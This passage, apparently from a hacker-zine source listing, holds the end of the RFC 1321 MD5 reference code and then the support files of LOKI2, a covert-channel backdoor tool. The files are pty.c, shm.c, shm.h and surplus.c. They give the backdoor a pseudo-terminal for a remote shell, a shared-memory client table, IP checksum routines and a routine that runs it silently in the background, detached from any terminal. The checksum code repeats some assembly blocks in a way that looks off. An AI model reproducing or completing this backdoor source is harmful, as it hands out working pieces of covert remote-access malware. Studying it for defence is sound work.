|
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
|
|
|
|
Decode (x, block, 64);
|
|
|
|
/* Round 1 */
|
|
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
|
|
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
|
|
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
|
|
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
|
|
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
|
|
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
|
|
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
|
|
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
|
|
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
|
|
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
|
|
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
|
|
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
|
|
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
|
|
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
|
|
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
|
|
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
|
|
|
|
/* Round 2 */
|
|
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
|
|
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
|
|
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
|
|
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
|
|
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
|
|
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
|
|
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
|
|
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
|
|
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
|
|
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
|
|
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
|
|
|
|
|
|
/*
|
|
Rivest [Page 13]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
*/
|
|
|
|
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
|
|
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
|
|
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
|
|
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
|
|
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
|
|
|
|
/* Round 3 */
|
|
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
|
|
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
|
|
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
|
|
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
|
|
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
|
|
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
|
|
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
|
|
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
|
|
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
|
|
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
|
|
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
|
|
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
|
|
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
|
|
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
|
|
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
|
|
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
|
|
|
|
/* Round 4 */
|
|
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
|
|
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
|
|
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
|
|
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
|
|
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
|
|
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
|
|
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
|
|
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
|
|
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
|
|
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
|
|
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
|
|
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
|
|
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
|
|
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
|
|
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
|
|
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
|
|
|
|
state[0] += a;
|
|
state[1] += b;
|
|
state[2] += c;
|
|
state[3] += d;
|
|
|
|
/* Zeroize sensitive information.
|
|
|
|
|
|
Rivest [Page 14]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
|
|
*/
|
|
MD5_memset ((POINTER)x, 0, sizeof (x));
|
|
}
|
|
|
|
/* Encodes input (UINT4) into output (unsigned char). Assumes len is
|
|
a multiple of 4.
|
|
*/
|
|
static void Encode (output, input, len)
|
|
unsigned char *output;
|
|
UINT4 *input;
|
|
unsigned int len;
|
|
{
|
|
unsigned int i, j;
|
|
|
|
for (i = 0, j = 0; j < len; i++, j += 4) {
|
|
output[j] = (unsigned char)(input[i] & 0xff);
|
|
output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
|
|
output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
|
|
output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
|
|
}
|
|
}
|
|
|
|
/* Decodes input (unsigned char) into output (UINT4). Assumes len is
|
|
a multiple of 4.
|
|
*/
|
|
static void Decode (output, input, len)
|
|
UINT4 *output;
|
|
unsigned char *input;
|
|
unsigned int len;
|
|
{
|
|
unsigned int i, j;
|
|
|
|
for (i = 0, j = 0; j < len; i++, j += 4)
|
|
output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
|
|
(((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
|
|
}
|
|
|
|
/* Note: Replace "for loop" with standard memcpy if possible.
|
|
*/
|
|
|
|
static void MD5_memcpy (output, input, len)
|
|
POINTER output;
|
|
POINTER input;
|
|
unsigned int len;
|
|
{
|
|
unsigned int i;
|
|
|
|
for (i = 0; i < len; i++)
|
|
|
|
|
|
/*
|
|
Rivest [Page 15]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
*/
|
|
|
|
output[i] = input[i];
|
|
}
|
|
|
|
/* Note: Replace "for loop" with standard memset if possible.
|
|
*/
|
|
static void MD5_memset (output, value, len)
|
|
POINTER output;
|
|
int value;
|
|
unsigned int len;
|
|
{
|
|
unsigned int i;
|
|
|
|
for (i = 0; i < len; i++)
|
|
((char *)output)[i] = (char)value;
|
|
}
|
|
<--> md5/md5c.c
|
|
<++> L2/pty.c
|
|
/*
|
|
* LOKI
|
|
*
|
|
* [ pty.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
* All the PTY code ganked from Stevens.
|
|
*/
|
|
|
|
#ifdef PTY
|
|
#include "loki.h"
|
|
|
|
extern int verbose;
|
|
|
|
/*
|
|
* Open a pty and establish it as the session leader with a
|
|
* controlling terminal
|
|
*/
|
|
|
|
pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize)
|
|
{
|
|
|
|
int fdm, fds;
|
|
pid_t pid;
|
|
char pts_name[20];
|
|
|
|
if ((fdm = ptym_open(pts_name)) < 0)
|
|
err_exit(1, 0, verbose, "\nCannot open master pty\n");
|
|
|
|
if (slavename) strcpy(slavename, pts_name);
|
|
|
|
if ((pid = fork()) < 0) return (-1);
|
|
|
|
else if (!pid)
|
|
{
|
|
if (setsid() < 0)
|
|
err_exit(1, 1, verbose, "\nCannot set session");
|
|
|
|
if ((fds = ptys_open(fdm, pts_name)) < 0)
|
|
err_exit(1, 0, verbose, "\nCannot open slave pty\n");
|
|
close(fdm);
|
|
|
|
#if defined(TIOCSCTTY) && !defined(CIBAUD)
|
|
if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
|
|
err_exit(1, 1, verbose, "\nioctl");
|
|
#endif
|
|
/* set termios/winsize */
|
|
if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");
|
|
/* slave becomes stdin/stdout/stderr */
|
|
if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
|
|
err_exit(1, 1, verbose, "\nioctl");
|
|
if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
|
|
err_exit(1, 0, verbose, "\ndup\n");
|
|
if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
|
|
err_exit(1, 0, verbose, "\ndup\n");
|
|
if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
|
|
err_exit(1, 0, verbose, "\ndup\n");
|
|
if (fds > STDERR_FILENO) close(fds);
|
|
|
|
return (0); /* return child */
|
|
}
|
|
|
|
else
|
|
{
|
|
*fdmp = fdm; /* Return fd of master */
|
|
return (pid); /* parent returns PID of child */
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* Determine which psuedo terminals are available and try to open one
|
|
*/
|
|
|
|
int ptym_open(char *pts_name)
|
|
{
|
|
|
|
int fdm = 0; /* List of ptys to run through */
|
|
char *p1 = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";
|
|
|
|
strcpy(pts_name, "/dev/pty00"); /* pty device name template */
|
|
|
|
for (; *p1; p1++)
|
|
{
|
|
pts_name[8] = *p1;
|
|
for (; *p2; p2++)
|
|
{
|
|
pts_name[9] = *p2;
|
|
if ((fdm = open(pts_name, O_RDWR)) < 0)
|
|
{
|
|
/* device doesn't exist */
|
|
if (errno == ENOENT) return (-1);
|
|
else continue;
|
|
}
|
|
pts_name[5] = 't'; /* pty -> tty */
|
|
return (fdm); /* master file descriptor */
|
|
}
|
|
}
|
|
return (-1); /* control falls here if no pty
|
|
* devices are available
|
|
*/
|
|
}
|
|
|
|
|
|
/*
|
|
* Open the slave device and set ownership and permissions
|
|
*/
|
|
|
|
int ptys_open(int fdm, char *pts_name)
|
|
{
|
|
|
|
struct group *gp;
|
|
int gid = 0, fds = 0;
|
|
|
|
if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
|
|
else gid = -1; /* Group tty is not in the group file */
|
|
|
|
chown(pts_name, getuid(), gid); /* make it ours */
|
|
/* set permissions -rw--w---- */
|
|
chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);
|
|
|
|
if ((fds = open(pts_name, O_RDWR)) < 0)
|
|
{
|
|
close(fdm); /* Cannot open fds */
|
|
return (-1);
|
|
}
|
|
return (fds);
|
|
}
|
|
|
|
#endif
|
|
|
|
/* EOF */
|
|
<--> pty.c
|
|
<++> L2/shm.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ shm.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
#include "client_db.h"
|
|
#include "shm.h"
|
|
|
|
extern struct loki rdg;
|
|
extern int verbose;
|
|
extern int destroy_shm;
|
|
struct client_list *client = 0;
|
|
int semid;
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
extern short ivec_salt;
|
|
extern u_char user_key[BF_KEYSIZE];
|
|
#endif
|
|
|
|
/*
|
|
* Prepare shared memory and semaphore
|
|
*/
|
|
|
|
void prep_shm()
|
|
{
|
|
|
|
key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */
|
|
key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */
|
|
int shmid, len = 0, i = 0;
|
|
|
|
len = sizeof(struct client_list) * MAX_CLIENT;
|
|
|
|
/* Request a shared memory segment */
|
|
if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
|
|
err_exit(1, 1, verbose, "[fatal] shared mem segment request error");
|
|
|
|
/* Get SET_SIZE semaphore to perform
|
|
* shared memory locking with
|
|
*/
|
|
if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
|
|
err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");
|
|
|
|
/* Attach pointer to the shared memory
|
|
* segment
|
|
*/
|
|
client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
|
|
/* clear the database */
|
|
for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
|
|
}
|
|
|
|
|
|
/*
|
|
* Locks the semaphore so the caller can access the shared memory segment.
|
|
* This is an atomic operation.
|
|
*/
|
|
|
|
void locks()
|
|
{
|
|
|
|
struct sembuf lock[2] =
|
|
{
|
|
{0, 0, 0},
|
|
{0, 1, SEM_UNDO}
|
|
};
|
|
|
|
if (semop(semid, &lock[0], 2) < 0)
|
|
err_exit(1, 1, verbose, "[fatal] could not lock memory");
|
|
}
|
|
|
|
|
|
/*
|
|
* Unlocks the semaphore so the caller can access the shared memory segment.
|
|
* This is an atomic operation.
|
|
*/
|
|
|
|
void ulocks()
|
|
{
|
|
|
|
struct sembuf ulock[1] =
|
|
{
|
|
{ 0, -1, (IPC_NOWAIT | SEM_UNDO) }
|
|
};
|
|
|
|
if (semop(semid, &ulock[0], 1) < 0)
|
|
err_exit(1, 1, verbose, "[fatal] could not unlock memory");
|
|
}
|
|
|
|
|
|
/*
|
|
* Release the shared memory segment.
|
|
*/
|
|
|
|
void dump_shm()
|
|
{
|
|
|
|
locks();
|
|
if ((shmdt((u_char *)client)) == -1)
|
|
err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");
|
|
|
|
if (destroy_shm == OK)
|
|
{
|
|
if ((shmctl(semid, IPC_RMID, NULL)) == -1)
|
|
err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");
|
|
|
|
if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
|
|
err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
|
|
}
|
|
ulocks();
|
|
}
|
|
|
|
/* EOF */
|
|
<--> shm.c
|
|
<++> L2/shm.h
|
|
/*
|
|
* LOKI
|
|
*
|
|
* shm header file
|
|
*
|
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|
*/
|
|
|
|
|
|
#define SHM_KEY 242 /* Shared memory key */
|
|
#define SEM_KEY 424 /* Semaphore key */
|
|
#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */
|
|
#define SET_SIZE 1
|
|
|
|
void prep_shm(); /* prepare shared mem segment */
|
|
void locks(); /* lock shared memory */
|
|
void ulocks(); /* unlock shared memory */
|
|
void dump_shm(); /* release shared memory */
|
|
<--> shm.h
|
|
<++> L2/surplus.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ surplus.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
|
|
extern int verbose;
|
|
extern jmp_buf env;
|
|
|
|
#define WORKING_ROOT "/tmp" /* Sometimes we make mistakes.
|
|
* Sometimes we execute commands we
|
|
* didn't mean to. `rm -rf` is much
|
|
* easier to palate from /tmp
|
|
*/
|
|
/*
|
|
* Domain names / dotted-decimals --> network byte order.
|
|
*/
|
|
|
|
u_long name_resolve(char *hostname)
|
|
{
|
|
|
|
struct in_addr addr;
|
|
struct hostent *hostEnt;
|
|
/* name lookup failure */
|
|
if ((addr.s_addr = inet_addr(hostname)) == -1)
|
|
{
|
|
if (!(hostEnt = gethostbyname(hostname)))
|
|
err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
|
|
bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
|
|
}
|
|
return (addr.s_addr);
|
|
}
|
|
|
|
|
|
/*
|
|
* Network byte order --> dotted-decimals.
|
|
*/
|
|
|
|
char *host_lookup(u_long in)
|
|
{
|
|
|
|
char hostname[BUFSIZ] = {0};
|
|
struct in_addr addr;
|
|
|
|
addr.s_addr = in;
|
|
strcpy(hostname, inet_ntoa(addr));
|
|
return (strdup(hostname));
|
|
}
|
|
|
|
#ifdef X86FAST_CHECK
|
|
|
|
/*
|
|
* Fast x86 based assembly implementation of the IP checksum routine.
|
|
*/
|
|
|
|
|
|
u_short i_check(u_short *buff, int len)
|
|
{
|
|
|
|
u_long sum = 0;
|
|
if (len > 3)
|
|
{
|
|
__asm__("clc\n"
|
|
"1:\t"
|
|
"lodsl\n\t"
|
|
"adcl %%eax, %%ebx\n\t"
|
|
"loop 1b\n\t"
|
|
"adcl $0, %%ebx\n\t"
|
|
"movl %%ebx, %%eax\n\t"
|
|
"shrl $16, %%eax\n\t"
|
|
"addw %%ax, %%bx\n\t"
|
|
"adcw $0, %%bx"
|
|
: "=b" (sum) , "=S" (buff)
|
|
: "0" (sum), "c" (len >> 2) ,"1" (buff)
|
|
: "ax", "cx", "si", "bx");
|
|
}
|
|
if (len & 2)
|
|
{
|
|
__asm__("lodsw\n\t"
|
|
"addw %%ax, %%bx\n\t"
|
|
"adcw $0, %%bx"
|
|
: "=b" (sum) , "=S" (buff)
|
|
: "0" (sum), "c" (len >> 2) ,"1" (buff)
|
|
: "ax", "cx", "si", "bx");
|
|
}
|
|
if (len & 2)
|
|
{
|
|
__asm__("lodsw\n\t"
|
|
"addw %%ax, %%bx\n\t"
|
|
"adcw $0, %%bx"
|
|
: "=b" (sum), "=S" (buff)
|
|
: "0" (sum), "1" (buff)
|
|
: "bx", "ax", "si");
|
|
}
|
|
if (len & 1)
|
|
{
|
|
__asm__("lodsb\n\t"
|
|
"movb $0, %%ah\n\t"
|
|
"addw %%ax, %%bx\n\t"
|
|
"adcw $0, %%bx"
|
|
: "=b" (sum), "=S" (buff)
|
|
: "0" (sum), "1" (buff)
|
|
: "bx", "ax", "si");
|
|
}
|
|
if (len & 1)
|
|
{
|
|
__asm__("lodsb\n\t"
|
|
"movb $0, %%ah\n\t"
|
|
"addw %%ax, %%bx\n\t"
|
|
"adcw $0, %%bx"
|
|
: "=b" (sum), "=S" (buff)
|
|
: "0" (sum), "1" (buff)
|
|
: "bx", "ax", "si");
|
|
}
|
|
sum = ~sum;
|
|
return (sum & 0xffff);
|
|
}
|
|
|
|
#else
|
|
|
|
/*
|
|
* Standard IP Family checksum routine.
|
|
*/
|
|
|
|
u_short i_check(u_short *ptr, int nbytes)
|
|
{
|
|
|
|
register long sum = 0;
|
|
u_short oddbyte = 0;
|
|
register u_short answer = 0;
|
|
|
|
while (nbytes > 1)
|
|
{
|
|
sum += *ptr++;
|
|
nbytes -= 2;
|
|
}
|
|
if (nbytes == 1)
|
|
{
|
|
oddbyte = 0;
|
|
*((u_char *)&oddbyte) =* (u_char *)ptr;
|
|
sum += oddbyte;
|
|
}
|
|
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
|
|
sum += (sum >> 16);
|
|
answer = ~sum;
|
|
return (answer);
|
|
}
|
|
|
|
#endif /* X86FAST_CHECK */
|
|
|
|
|
|
/*
|
|
* Generic exit with error function. If checkerrno is true, errno should
|
|
* be looked at and we call perror, otherwise, just dump to stderr.
|
|
* Additionally, we have the option of suppressing the error messages by
|
|
* zeroing verbose.
|
|
*/
|
|
|
|
void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
|
|
{
|
|
if (verbalkint)
|
|
{
|
|
if (checkerrno) perror(errstr);
|
|
else fprintf(stderr, errstr);
|
|
}
|
|
clean_exit(exitstatus);
|
|
}
|
|
|
|
|
|
/*
|
|
* SIGALRM signal handler. We reset the alarm timer and default signal
|
|
* signal handler, then restore our stack frame from the point that
|
|
* setjmp() was called.
|
|
*/
|
|
|
|
void catch_timeout(int signo)
|
|
{
|
|
|
|
alarm(0); /* reset alarm timer */
|
|
|
|
/* reset SIGALRM, our handler will
|
|
* be again set after we longjmp()
|
|
*/
|
|
if (signal(SIGALRM, catch_timeout) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|
/* restore environment */
|
|
longjmp(env, 1);
|
|
}
|
|
|
|
|
|
/*
|
|
* Clean exit handler
|
|
*/
|
|
|
|
void clean_exit(int status)
|
|
{
|
|
|
|
extern int tsock;
|
|
extern int ripsock;
|
|
|
|
close(ripsock);
|
|
close(tsock);
|
|
exit(status);
|
|
}
|
|
|
|
/*
|
|
* Keep child proccesses from zombiing on us
|
|
*/
|
|
|
|
void reaper(int signo)
|
|
{
|
|
int sys = 0;
|
|
|
|
wait(&sys); /* get child's exit status */
|
|
|
|
/* re-establish signal handler */
|
|
if (signal(SIGCHLD, reaper) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGCHLD);
|
|
}
|
|
|
|
/*
|
|
* Simple daemonizing procedure.
|
|
*/
|
|
|
|
void shadow()
|
|
{
|
|
extern int errno;
|
|
int fd = 0;
|
|
|
|
close(STDIN_FILENO); /* We no longer need STDIN */
|
|
if (!verbose)
|
|
{ /* Get rid of these also */
|
|
close(STDOUT_FILENO);
|
|
close(STDERR_FILENO);
|
|
}
|
|
/* Ignore read/write signals from/to
|
|
* the controlling terminal.
|
|
*/
|
|
signal(SIGTTOU, SIG_IGN);
|
|
signal(SIGTTIN, SIG_IGN);
|
|
signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */
|
|
|
|
switch (fork())
|
|
{
|
|
case 0: /* child continues */
|
|
break;
|
|
|
|
default: /* parent exits */
|
|
clean_exit(0);
|
|
|
|
case -1: /* fork error */
|
|
err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
|
|
}
|
|
/* Create a new session and set this
|
|
* process to be the group leader.
|
|
*/
|
|
if (setsid() == -1)
|
|
err_exit(1, 1, verbose, "[fatal] Cannot create session");
|
|
/* Detach from controlling terminal */
|
|
if ((fd = open("/dev/tty", O_RDWR)) >= 0)
|
|
{
|
|
if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
|
|
err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal");
|
|
close(fd);
|
|
}
|
|
errno = 0;
|
|
chdir(WORKING_ROOT); /* Working dir should be the root */
|
|
umask(0); /* File creation mask should be 0 */
|
|
}
|
|
|
|
#ifdef DEBUG
|
|
|
|
/*
|
|
* Bulk of this function taken from Stevens APUE...
|
|
* got this from Mooks (LTC)
|
|
*/
|
|
|
|
void fd_status(int fd, int newline)
|
|
{
|
|
int accmode = 0, val = 0;
|
|
|
|
val = fcntl(fd, F_GETFL, 0);
|
|
|
|
#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
|
|
accmode = val & O_ACCMODE;
|
|
#else /* pyramid */
|
|
accmode = val; /* kludge */
|
|
#endif /* pyramid */
|
|
if (accmode == O_RDONLY) fprintf(stderr, " read only");
|
|
else if (accmode == O_WRONLY) fprintf(stderr, " write only");
|
|
else if (accmode == O_RDWR) fprintf(stderr, " read write");
|
|
if (val & O_APPEND) fprintf(stderr, " append");
|
|
if (val & O_NONBLOCK) fprintf(stderr, " nonblocking");
|
|
else fprintf(stderr, " blocking");
|
|
#if defined(O_SYNC)
|
|
if (val & O_SYNC) fprintf(stderr, " sync writes");
|
|
#else
|
|
#if defined(O_FSYNC)
|
|
if (val & O_FSYNC) fprintf(stderr, " sync writes");
|
|
#endif /* O_FSYNC */
|
|
#endif /* O_SYNC */
|
|
if (newline) fprintf(stderr, "\r\n");
|
|
}
|
|
#endif /* DEBUG */
|
|
|
|
/* EOF */
|
|
<--> surplus.c
|
|
|
|
----[ EOF
|
|
|